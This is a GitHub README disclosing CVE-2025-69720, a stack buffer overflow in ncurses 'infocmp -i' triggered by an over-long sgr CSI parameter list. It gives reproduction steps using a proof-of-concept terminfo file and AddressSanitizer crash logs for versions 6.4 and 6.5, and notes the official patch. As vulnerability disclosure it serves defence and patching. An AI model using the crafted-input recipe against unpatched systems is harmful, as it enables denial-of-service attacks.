

Cao-Wuhui / CVE-2025-69720 Public[Code](#) [Issues](#) [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#) [Insights](#)[Go to file](#) [Go to file](#) [Code](#) [1 Branch](#) [0 Tags](#) [Go to file](#) [Code](#) [...](#)Cao-Wuhui [Revise README for CVE-2025-69720 details](#) [2dcc9b3](#) · last month

README.md	Revise README for CVE-2025-...	last month
evil_sgr.ti	Add README and PoC	4 months ago

[README](#)[☰](#)

# CVE-2025-69720: ncurses infocmp -i Stack Buffer Overflow (CWE-121)

Reporter: Yixuan Cao (Shenzhen University), [caoyixuan2019@email.szu.edu.cn](mailto:caoyixuan2019@email.szu.edu.cn)

## Environment

- Host: openEuler 22.03 LTS (Linux aarch64)
- Toolchain: system `clang` 12.0.1 + AddressSanitizer
- Source: [ncurses-6.4](#) and [ncurses-6.5](#) (prior to patch 20251213)

## Summary

`infocmp -i` invokes `analyze_string()` (`progs/infocmp.c`) to inspect CSI sequences found in a terminfo entry. The routine copies the candidate substring into a fixed-size stack buffer (`buf2`, 4096 bytes). Because `len = strlen(cp)` is not checked against 4096, a maliciously long CSI parameter list (e.g., `sgr=\E[1234567;...;m` with ~800 parameters) overflows `buf2`, causing a stack smash. The same PoC reproduces on 6.4 and on 6.5 prior to the 20251213 patch (see ASan outputs below). Versions earlier than 6.4 were not tested.

The [ncurses news \(2025/12/13\)](#) has confirmed and fixed the bug, and an [official patch](#) is available.

## Impact

- Running `infocmp -i` on a crafted terminfo entry can crash the tool (stack-buffer-overflow), i.e., a local denial of service for that invocation.
- The overflow occurs in `progs/infocmp.c` (`analyze_string`) when `len = strlen(cp)` is used to copy into `buf2[MAX_TERMINFO_LENGTH]` (4096) without checking `len`, and is followed by `buf2[len] = '\0'`.
- The `-i` option is a specialized analysis path for init/reset-related capabilities (`is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx`); it does not affect the common `infocmp` usage without `-i`.
- **Fixed in:** ncurses 6.5 with patch 20251213 (`ncurses-6.5-20251213.patch.gz`).

## Steps to Reproduce (take ncurses-6.4 as an example)

1. Prepare and compile the source code of ncurses-6.4 with ASan:

```
# Download and extract the source code of ncurses-6.4
# (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
cd ~
wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
tar xvf ncurses-6.4.tar.gz
cd ncurses-6.4

# Configure with ASan
CC=clang \
CFLAGS='-O1 -g -fsanitize=address' \
LDFLAGS='-fsanitize=address' \
./configure --enable-widec # keep wide-char support so the long SGR survives

# Compile infocmp/tic/etc.
make -j$(nproc)
```

2. Compile the PoC terminfo source (assuming the file is at `~/evil_sgr.ti`) into a temporary database:

```
~/ncurses-6.4/progs/tic -x -o /tmp/evil_ti ~/evil_sgr.ti
```

3. Trigger the overflow with ASan-enabled `infocmp`:

```
TERMINFO=/tmp/evil_ti ~/ncurses-6.4/progs/infocmp -i evil_sgr
```

(For 6.5, use the corresponding `~/ncurses-6.5/progs/...` paths.)

## ASan Output

For ncurses-6.4:

```

[yixuan@Taishan200 ~]$ TERMINFO=/tmp/eviltilt ~/ncurses-6.4/progs/infocmp -i
evil_sgr
=====
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
    #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
    #1 0x4eee78 in analyze_string /home/yixuan/ncurses-
6.4/progs/./progs/infocmp.c:850:3
    #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/./progs/infocmp.c:1881:6
    #3 0xfffffab9d0ffc (/usr/lib64/libc.so.6+0x2affc)
    #4 0xfffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)

Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-
6.4/progs/./progs/infocmp.c:818

This frame has 2 object(s):
  [32, 4128) 'buf2' (line 819)
  [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially
underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind
mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-
6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
  0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
  0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:          00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:    fa
Freed heap region:    fd
Stack left redzone:   f1
Stack mid redzone:    f2
Stack right redzone:  f3
Stack after return:   f5
Stack use after scope: f8
Global redzone:       f9
Global init order:    f6
Poisoned by user:     f7
Container overflow:   fc
Array cookie:         ac

```

```

Intra object redzone:  bb
ASan internal:         fe
Left alloca redzone:   ca
Right alloca redzone:  cb
Shadow gap:           cc
==3848299==ABORTING

```

And for ncurses-6.5:

```

[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i
evil_sgr
=====
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
#0 0x443540 in stncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
#1 0x4ef094 in analyze_string /home/yixuan/ncurses-
6.5/progs/./progs/infocmp.c:874:3
#2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/./progs/infocmp.c:1913:6
#3 0xffff811baffc (/usr/lib64/libc.so.6+0x2affc)
#4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
#5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)

Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
#0 0x4eedfc in analyze_string /home/yixuan/ncurses-
6.5/progs/./progs/infocmp.c:842

This frame has 2 object(s):
[32, 4128) 'buf2' (line 843)
[4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially
underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind
mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-
6.5/progs/infocmp+0x443540) in stncpy
Shadow bytes around the buggy address:
 0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
 0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:    fa
Freed heap region:    fd
Stack left redzone:   f1

```

```
Stack mid redzone:    f2
Stack right redzone: f3
Stack after return:  f5
Stack use after scope: f8
Global redzone:      f9
Global init order:   f6
Poisoned by user:    f7
Container overflow:  fc
Array cookie:         ac
Intra object redzone: bb
ASan internal:        fe
```

---

## Contributors 1



**Cao-Wuhui** Yixuan Cao